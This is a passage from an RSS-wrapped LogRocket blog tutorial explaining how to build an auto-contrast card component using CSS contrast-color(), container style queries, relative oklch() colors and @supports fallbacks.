&lt;p&gt;The specification uses the WCAG 2.1 relative luminance formula, which is the same calculation you might use in&lt;a href=&quot;https://blog.logrocket.com/javascript-design-patterns-guide/&quot;&gt; JavaScript&lt;/a&gt;. The key difference is that the browser applies it after all color transformations, so it works with &lt;code&gt;oklch()&lt;/code&gt;, &lt;code&gt;hsl()&lt;/code&gt;, &lt;code&gt;color-mix()&lt;/code&gt;, and other modern color functions. You don’t need to adjust anything before using it.&lt;/p&gt;
&lt;h3 id=&quot;what-wcag-compliance-means-here&quot;&gt;&lt;strong data-start=&quot;566&quot; data-end=&quot;607&quot;&gt;Is &lt;code data-start=&quot;571&quot; data-end=&quot;589&quot;&gt;contrast-color()&lt;/code&gt; WCAG compliant?&lt;/strong&gt;&lt;/h3&gt;
&lt;p class=&quot;PDq2pG_selectionAnchorContainer&quot; data-start=&quot;136&quot; data-end=&quot;523&quot;&gt;Yes, but with limitations. &lt;code data-start=&quot;167&quot; data-end=&quot;185&quot;&gt;contrast-color()&lt;/code&gt; chooses whichever of black or white provides higher contrast against the background, which often meets WCAG AA requirements for large text. However, it doesn’t guarantee a 4.5:1 contrast ratio for every background color. For example, medium grays or muted mid-tone colors might pass AA for large text (3:1) but not for body text (4.5:1).&lt;/p&gt;
&lt;p data-start=&quot;528&quot; data-end=&quot;807&quot;&gt;In practice, &lt;code data-start=&quot;541&quot; data-end=&quot;559&quot;&gt;contrast-color()&lt;/code&gt; works well for UI elements where the background color comes from a controlled set, such as a design token palette, theme configuration, or curated color picker. If users can choose arbitrary colors, you should verify the contrast ratio separately.&lt;/p&gt;
&lt;figure&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://paper-attachments.dropboxusercontent.com/s_20DBBFA8AAF14ADB171D94344B6568112CC71F08C0072F8166D8D61897E2C675_1781045534268_Screenshot+2026-06-08+at+7.21.48AM.png&quot; alt=&quot;A contrast ratio table showing 8 mid-range background colors. Each row displays the color swatch, contrast ratio against white and black, the winning candidate that contrast-color() would pick, and a WCAG compliance badge. A threshold marker separates colors that meet AA for large text only (3:1) from those that meet AA for body text (4.5:1).&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/figure&gt;
&lt;h3 id=&quot;what-the-function-doesn-t-do-yet&quot;&gt;&lt;strong data-start=&quot;653&quot; data-end=&quot;704&quot;&gt;What are the limitations of &lt;code data-start=&quot;683&quot; data-end=&quot;701&quot;&gt;contrast-color()&lt;/code&gt;?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;The current specification doesn’t let you see the contrast ratio, set a custom threshold, or pick more than two color options. The original color-contrast() proposal, which let you rank several colors and set a minimum ratio, was removed during standardization. The version that shipped is simpler and handled by the browser. It covers most use cases, but it’s helpful to know its limits.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Design system note: contrast-color() only returns black or white. It can’t target off-black (#1a1a1a) or off-white (#fafafa) text tokens, even if your system uses them. If your palette uses custom text colors instead of pure black and white, you’ll still need a CSS custom property override for each surface, or a JS fallback for those specific tokens.&lt;/p&gt;&lt;/blockquote&gt;
&lt;h2 id=&quot;container-style-queries-querying-custom-property-flags&quot;&gt;&lt;strong data-start=&quot;773&quot; data-end=&quot;833&quot;&gt;Why use container style queries with &lt;code data-start=&quot;812&quot; data-end=&quot;830&quot;&gt;contrast-color()&lt;/code&gt;?&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;contrast-color()&lt;/code&gt; automatically sets the text color, but for surface variants like different borders, background tints, or icon colors based on the card’s type (brand, neutral, or destructive), you need another approach. This is where &lt;a href=&quot;https://blog.logrocket.com/new-css-style-queries/&quot;&gt;container style queries&lt;/a&gt; help.&lt;/p&gt;
&lt;h3 id=&quot;the-syntax&quot;&gt;&lt;strong data-start=&quot;857&quot; data-end=&quot;908&quot;&gt;What is the syntax for container style queries?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;You’re probably familiar with size container queries. Style queries use the same @container rule, but instead of querying dimensions, you query the computed value of a custom property on the container:&lt;/p&gt;
&lt;pre class=&quot;language-css hljs&quot;&gt;@container style(--surface: brand) {
  .card__border {
    border-color: oklch(from var(--card-bg) calc(l - 0.1) c h);
  }
}&lt;/pre&gt;
&lt;p&gt;You don’t need to set a &lt;code&gt;container-type&lt;/code&gt; for style queries; that’s only needed for size queries. If you want to target a specific ancestor, you’ll need a &lt;code&gt;container-name&lt;/code&gt;. For a component that queries its own custom properties, anonymous containers are enough.&lt;/p&gt;
&lt;h3 id=&quot;why-is-this-cleaner-than-class-toggling&quot;&gt;Why is this cleaner than class toggling&lt;/h3&gt;
&lt;p&gt;The alternative is something like this:&lt;/p&gt;
&lt;pre class=&quot;language-jsx hljs&quot;&gt;&amp;lt;div className={`card card--${surface}`} style={{ background: brandColor }} /&amp;gt;&lt;/pre&gt;
&lt;p&gt;With this setup, your component ends up with two sources of truth: the inline style sets the color, while the class name controls the variant logic. These can get out of sync. For example, if you rename a token but forget to update the class condition, the border style might break without warning.&lt;/p&gt;
&lt;p&gt;With style queries, the custom property becomes the single source of truth. To be clear, .card is the container, and the @container card style() blocks target its descendants. The card itself doesn’t query its own properties; it owns them.&lt;/p&gt;

&lt;h3 id=&quot;what-s-actually-supported-right-now&quot;&gt;&lt;strong data-start=&quot;1038&quot; data-end=&quot;1089&quot;&gt;Which browsers support container style queries?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;It’s important to be clear about browser support for container style queries. There are two main levels of support:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Custom property querying: &lt;code&gt;@container style(--my-prop: value)&lt;/code&gt; is the supported subset. It works in &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/Guides/Containment/Container_size_and_style_queries&quot;&gt;Chrome 111+&lt;/a&gt;, &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/Guides/Containment/Container_size_and_style_queries&quot;&gt;Safari 18+&lt;/a&gt;, and &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/Guides/Containment/Container_size_and_style_queries&quot;&gt;Firefox 129+&lt;/a&gt;. This is what the component in this article uses.&lt;/li&gt;
&lt;li&gt;Inherited property querying: querying standard CSS properties like &lt;code&gt;font-style&lt;/code&gt; or &lt;code&gt;color&lt;/code&gt; on a container is still experimental and not reliably supported across browsers. Don’t use it in production yet.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can depend on this feature when querying custom properties that you define.&lt;/p&gt;
&lt;h2 id=&quot;building-the-components&quot;&gt;&lt;strong data-start=&quot;1126&quot; data-end=&quot;1179&quot;&gt;How do you build an auto-contrast card component?&lt;/strong&gt;&lt;/h2&gt;
&lt;h3 id=&quot;step-1-set-up-the-custom-property-structure&quot;&gt;Step 1: Set up the custom property structure&lt;/h3&gt;
&lt;p&gt;Every style decision in the card flows from two custom properties: &lt;code&gt;--card-bg&lt;/code&gt; for the background color, and &lt;code&gt;--surface&lt;/code&gt; for the variant flag. Set both on the card element with defaults:&lt;/p&gt;
&lt;pre class=&quot;language-css hljs&quot;&gt;.card {
  --card-bg: #764abc;
  --surface: neutral;

  background-color: var(--card-bg);
  container-name: card;
  border-radius: 14px;
  padding: 1.25rem;
  transition: background-color 0.4s cubic-bezier(0.4, 0, 0.2, 1);
}&lt;/pre&gt;
&lt;p&gt;Setting &lt;code&gt;container-name: card&lt;/code&gt; establishes an explicit name for our style container. Naming the container ensures your &lt;code&gt;@container card style()&lt;/code&gt; blocks target this specific component context rather than accidentally querying an unrelated container higher up the DOM tree.&lt;/p&gt;
&lt;p&gt;The HTML for a single instance:&lt;/p&gt;
&lt;pre class=&quot;language-html hljs&quot;&gt;&amp;lt;div class=&quot;card&quot; style=&quot;--card-bg: #764abc; --surface: brand&quot;&amp;gt;
  &amp;lt;span class=&quot;card__tag&quot;&amp;gt;brand&amp;lt;/span&amp;gt;
  &amp;lt;h3 class=&quot;card__title&quot;&amp;gt;Dynamic card&amp;lt;/h3&amp;gt;
  &amp;lt;p class=&quot;card__body&quot;&amp;gt;Text color adjusts automatically as background changes&amp;lt;/p&amp;gt;
  &amp;lt;div class=&quot;card__border&quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;&lt;/pre&gt;
&lt;p&gt;The only thing that changes between instances is the inline style. There are no extra classes or JavaScript needed.&lt;/p&gt;
&lt;h3 id=&quot;step-2-wire-in-contrast-color-for-automatic-text-color&quot;&gt;Step 2: Wire in contrast-color() for automatic text color&lt;/h3&gt;
&lt;pre class=&quot;language-css hljs&quot;&gt;.card__title,
.card__body {
  color: contrast-color(var(--card-bg));
}&lt;/pre&gt;
&lt;p&gt;The browser reads &lt;code&gt;--card-bg&lt;/code&gt; when it draws the page, calculates the luminance, and returns either &lt;code&gt;black&lt;/code&gt; or &lt;code&gt;white&lt;/code&gt;, depending on which has better contrast with the background. This works with hex, &lt;code&gt;oklch()&lt;/code&gt;, &lt;code&gt;hsl()&lt;/code&gt;, and &lt;code&gt;color-mix()&lt;/code&gt; values. You don’t need to adjust anything yourself.&lt;/p&gt;
&lt;h3 id=&quot;step-3-layer-in-style-query-logic-for-border-and-surface-variants&quot;&gt;Step 3: Layer in style query logic for border and surface variants&lt;/h3&gt;
&lt;pre class=&quot;language-css hljs&quot;&gt;/* neutral: subtle border, outlined tag */
@container card style(--surface: neutral) {
  /* Targets descendants of .card, not .card itself */
  .card__tag {
    color: contrast-color(var(--card-bg));
    background: transparent;
    border: 1px solid oklch(from var(--card-bg) calc(l + 0.15) c h / 0.4);
  }
  .card__border {
    background: oklch(from var(--card-bg) calc(l + 0.1) c h / 0.5);
    height: 1px;
  }
}

/* brand: filled tag, prominent border */
@container card style(--surface: brand) {
  .card__tag {
    color: oklch(from var(--card-bg) calc(l - 0.2) c h);
    background: oklch(from var(--card-bg) calc(l + 0.3) c h / 0.25);
    border: 1px solid transparent;
  }
  .card__border {
    background: oklch(from var(--card-bg) calc(l - 0.15) c h);
    height: 2px;
  }
}

/* destructive: high-contrast tag, heaviest border */
@container card style(--surface: destructive) {
  .card__tag {
    color: #fff;
    background: oklch(from var(--card-bg) calc(l - 0.1) c h / 0.6);
    border: 1px solid transparent;
  }
  .card__border {
    background: oklch(from var(--card-bg) calc(l + 0.2) c h);
    height: 3px;
  }
}&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;oklch(from var(--card-bg) ...)&lt;/code&gt; relative color syntax is important here. Instead of hardcoding border and tag colors, it creates them from &lt;code&gt;--card-bg&lt;/code&gt; by adjusting the lightness channel. This way, the border always stands out from the surface, no matter what color you use. If you change &lt;code&gt;--card-bg&lt;/code&gt;, the related colors update automatically.&lt;/p&gt;
&lt;h3 id=&quot;step-4-putting-it-together&quot;&gt;Step 4: Putting it together&lt;/h3&gt;
&lt;p&gt;Here’s the full component CSS:&lt;/p&gt;
&lt;pre class=&quot;language-css hljs&quot;&gt;.card {
  --card-bg: #764abc;
  --surface: neutral;

  background-color: var(--card-bg);
  container-name: card;
  border-radius: 14px;
  padding: 1.25rem;
  transition: background-color 0.4s cubic-bezier(0.4, 0, 0.2, 1);
}

.card__title,
.card__body {
  color: contrast-color(var(--card-bg));
}

@container card style(--surface: neutral) {
  /* Targets descendants of .card, not .card itself */
  .card__tag {
    color: contrast-color(var(--card-bg));
    background: transparent;
    border: 1px solid oklch(from var(--card-bg) calc(l + 0.15) c h / 0.4);
  }
  .card__border {
    background: oklch(from var(--card-bg) calc(l + 0.1) c h / 0.5);
    height: 1px;
  }
}

@container card style(--surface: brand) {
  .card__tag {
    color: oklch(from var(--card-bg) calc(l - 0.2) c h);
    background: oklch(from var(--card-bg) calc(l + 0.3) c h / 0.25);
    border: 1px solid transparent;
  }
  .card__border {
    background: oklch(from var(--card-bg) calc(l - 0.15) c h);
    height: 2px;
  }
}

@container card style(--surface: destructive) {
  .card__tag {
    color: #fff;
    background: oklch(from var(--card-bg) calc(l - 0.1) c h / 0.6);
    border: 1px solid transparent;
  }
  .card__border {
    background: oklch(from var(--card-bg) calc(l + 0.2) c h);
    height: 3px;
  }
}&lt;/pre&gt;
&lt;p&gt;To display the three variants side by side, just like in the demo, you only need to change the inline style for each instance:&lt;/p&gt;
&lt;pre class=&quot;language-html hljs&quot;&gt;&amp;lt;!-- Brand --&amp;gt;
&amp;lt;div class=&quot;card&quot; style=&quot;--card-bg: #764abc; --surface: brand&quot;&amp;gt; ... &amp;lt;/div&amp;gt;

&amp;lt;!-- Neutral --&amp;gt;
&amp;lt;div class=&quot;card&quot; style=&quot;--card-bg: #1d9e75; --surface: neutral&quot;&amp;gt; ... &amp;lt;/div&amp;gt;

&amp;lt;!-- Destructive --&amp;gt;
&amp;lt;div class=&quot;card&quot; style=&quot;--card-bg: #d85a30; --surface: destructive&quot;&amp;gt; ... &amp;lt;/div&amp;gt;&lt;/pre&gt;
&lt;p&gt;The text color, tag style, and border weight all come from those two properties. You only need one component and no JavaScript.&lt;/p&gt;&lt;iframe id=&quot;podrocket-plug&quot; style=&quot;border-radius:12px&quot; src=&quot;https://open.spotify.com/embed/playlist/4SgASJ9N3B8TsNaNquHm0u?utm_source=generator&quot; width=&quot;100%&quot; height=&quot;352&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot; allow=&quot;autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture&quot; loading=&quot;lazy&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
&lt;/iframe&gt;
&lt;style&gt;
#podrocket-plug {
  border-radius: 12px;
  width: 75%;
  height: 352px;
  margin: 1rem auto;
  display: block;
}
&lt;/style&gt;
&lt;p class=&quot;codepen&quot; style=&quot;height: 300px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;&quot; data-height=&quot;300&quot; data-pen-title=&quot;Auto-Contrast Component with Modern CSS&quot; data-default-tab=&quot;html,result&quot; data-slug-hash=&quot;OPWNyEE&quot; data-user=&quot;JudeIV&quot;&gt;See the Pen &lt;a href=&quot;https://codepen.io/JudeIV/pen/OPWNyEE&quot;&gt;&lt;br&gt;
Auto-Contrast Component with Modern CSS&lt;/a&gt; by Miracle Jude (&lt;a href=&quot;https://codepen.io/JudeIV&quot;&gt;@JudeIV&lt;/a&gt;)&lt;br&gt;
on &lt;a href=&quot;https://codepen.io/&quot;&gt;CodePen&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2 id=&quot;supports-fallbacks&quot;&gt;&lt;strong data-start=&quot;1214&quot; data-end=&quot;1260&quot;&gt;How do you add fallbacks with &lt;code data-start=&quot;1246&quot; data-end=&quot;1257&quot;&gt;@supports&lt;/code&gt;?&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;contrast-color()&lt;/code&gt; and &lt;a href=&quot;https://blog.logrocket.com/container-queries-2026/&quot;&gt;container style queries&lt;/a&gt; don’t fail silently. Browsers that don’t support them just ignore the rules, which leaves elements unstyled. That can mean unreadable text on any background. The fix is simple: write safe base styles first, then add the enhanced behavior on top.&lt;/p&gt;
&lt;h3 id=&quot;falling-back-on-contrast-color&quot;&gt;&lt;strong data-start=&quot;1312&quot; data-end=&quot;1365&quot;&gt;How do you add a fallback for &lt;code data-start=&quot;1344&quot; data-end=&quot;1362&quot;&gt;contrast-color()&lt;/code&gt;?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;To protect users on older browser engines, we declare an accessible solid background fallback text color before introducing the feature query block:&lt;/p&gt;
&lt;pre class=&quot;language-css hljs&quot;&gt;/* base: safe for all browsers */
.card__title,
.card__body {
  color: #fff;
}

/* enhanced: use native contrast calculation where supported */
@supports (color: contrast-color(red)) {
  .card__title,
  .card__body {
    color: contrast-color(var(--card-bg));
  }
}&lt;/pre&gt;
&lt;p&gt;White is the right default if your token palette skews dark. If your palette includes light backgrounds, swap it for &lt;code&gt;#000&lt;/code&gt; or pick the safer value per surface type.&lt;/p&gt;
&lt;h3 id=&quot;falling-back-on-container-style-queries&quot;&gt;&lt;strong data-start=&quot;1424&quot; data-end=&quot;1482&quot;&gt;How do you add a fallback for container style queries?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Style queries need no &lt;code&gt;@supports&lt;/code&gt; wrapper. Browsers that don’t support &lt;code&gt;@container style()&lt;/code&gt; skip those blocks entirely and leave your base styles untouched. So write your fallback as plain base rules:&lt;/p&gt;
&lt;pre class=&quot;language-css hljs&quot;&gt;/* base: neutral treatment for all variants, all browsers */
.card__border {
  background: rgba(255, 255, 255, 0.3);
  height: 1px;
}

.card__tag {
  color: #fff;
  background: transparent;
  border: 1px solid rgba(255, 255, 255, 0.4);
}

/* enhanced: style query blocks override base styles where supported */
@container card style(--surface: neutral) { ... }
@container card style(--surface: brand) { ... }
@container card style(--surface: destructive) { ... }&lt;/pre&gt;
&lt;p&gt;Browsers that support style queries apply the &lt;code&gt;@container&lt;/code&gt; overrides. Browsers that don’t keep the base styles. No feature detection needed.&lt;/p&gt;
&lt;h3 id=&quot;what-this-looks-like-combined&quot;&gt;&lt;strong data-start=&quot;1525&quot; data-end=&quot;1570&quot;&gt;What do the combined fallbacks look like?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;When we pull both techniques together into a unified stylesheet, our baseline styles naturally dictate the layout, allowing modern browser enhancements to apply safely on top:&lt;/p&gt;
&lt;pre class=&quot;language-css hljs&quot;&gt;.card {
  --card-bg: #764abc;
  --surface: neutral;

  background-color: var(--card-bg);
  container-name: card;
  border-radius: 14px;
  padding: 1.25rem;
}

/* fallbacks */
.card__title,
.card__body { color: #fff; }

.card__border {
  background: rgba(255, 255, 255, 0.3);
  height: 1px;
}

.card__tag {
  color: #fff;
  border: 1px solid rgba(255, 255, 255, 0.4);
}

/* enhanced: contrast-color() */
@supports (color: contrast-color(red)) {
  .card__title,
  .card__body {
    color: contrast-color(var(--card-bg));
  }
}

/* enhanced: style queries */
@container card style(--surface: neutral) { ... }
@container card style(--surface: brand) { ... }
@container card style(--surface: destructive) { ... }&lt;/pre&gt;
&lt;p&gt;Older browsers get a clean, readable card. Browsers that support one feature but not the other get partial enhancement. For example, you might get &lt;code&gt;contrast-color()&lt;/code&gt; without style queries, or style queries without &lt;code&gt;contrast-color()&lt;/code&gt;. Both combinations still give you a usable result.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;The approach in this article isn’t just about two new &lt;a href=&quot;https://blog.logrocket.com/css-in-2026/&quot;&gt;CSS features&lt;/a&gt;. It’s about noticing when JavaScript is solving a problem that the browser can now handle. CSS now handles relative luminance calculations and class-based variant switching. &lt;code&gt;contrast-color()&lt;/code&gt; does the contrast math natively at paint time and supports modern color spaces. Container style queries let you keep all variant logic in one place, managed by the same custom property that sets the color.&lt;/p&gt;
&lt;p&gt;The result is a card component that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Picks &lt;a href=&quot;https://blog.logrocket.com/ux-design/wcag-3-vs-2-ux/&quot;&gt;WCAG&lt;/a&gt;-compliant text colors automatically, regardless of what background it receives&lt;/li&gt;
&lt;li&gt;Derives borders and tag treatments from the background color using relative color syntax&lt;/li&gt;
&lt;li&gt;Branches on surface variants without class toggling or data attributes&lt;/li&gt;
&lt;li&gt;Degrades gracefully in browsers that don’t support either feature yet&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;
            &lt;style&gt;
    .share-icon.share-twitter span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-twitter.svg&quot;);
    }

    .share-icon.share-reddit span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-reddit.svg&quot;);
    }

    .share-icon.share-linkedin span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-linkedin.svg&quot;);
    }

    .share-icon.share-facebook span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-facebook.svg&quot;);
    }
&lt;/style&gt;

            &lt;ul id=&quot;post-tags&quot;&gt;
            &lt;li&gt;
        &lt;a rel=&quot;tag&quot; href=&quot;https://blog.logrocket.com/tag/css/&quot;&gt;#css&lt;/a&gt;
        &lt;/li&gt;
    &lt;/ul&gt;
            &lt;!-- This is where popips should go --&gt;
            &lt;div id=&quot;popups&quot;&gt;&lt;/div&gt;
        &lt;/div&gt;
    </description><link>https://blog.logrocket.com/css-contrast-color-auto-contrast/</link><guid isPermaLink="false">https://blog.logrocket.com/css-contrast-color-auto-contrast/</guid><pubDate>Invalid Date</pubDate><author>Jude Miracle</author></item></channel></rss>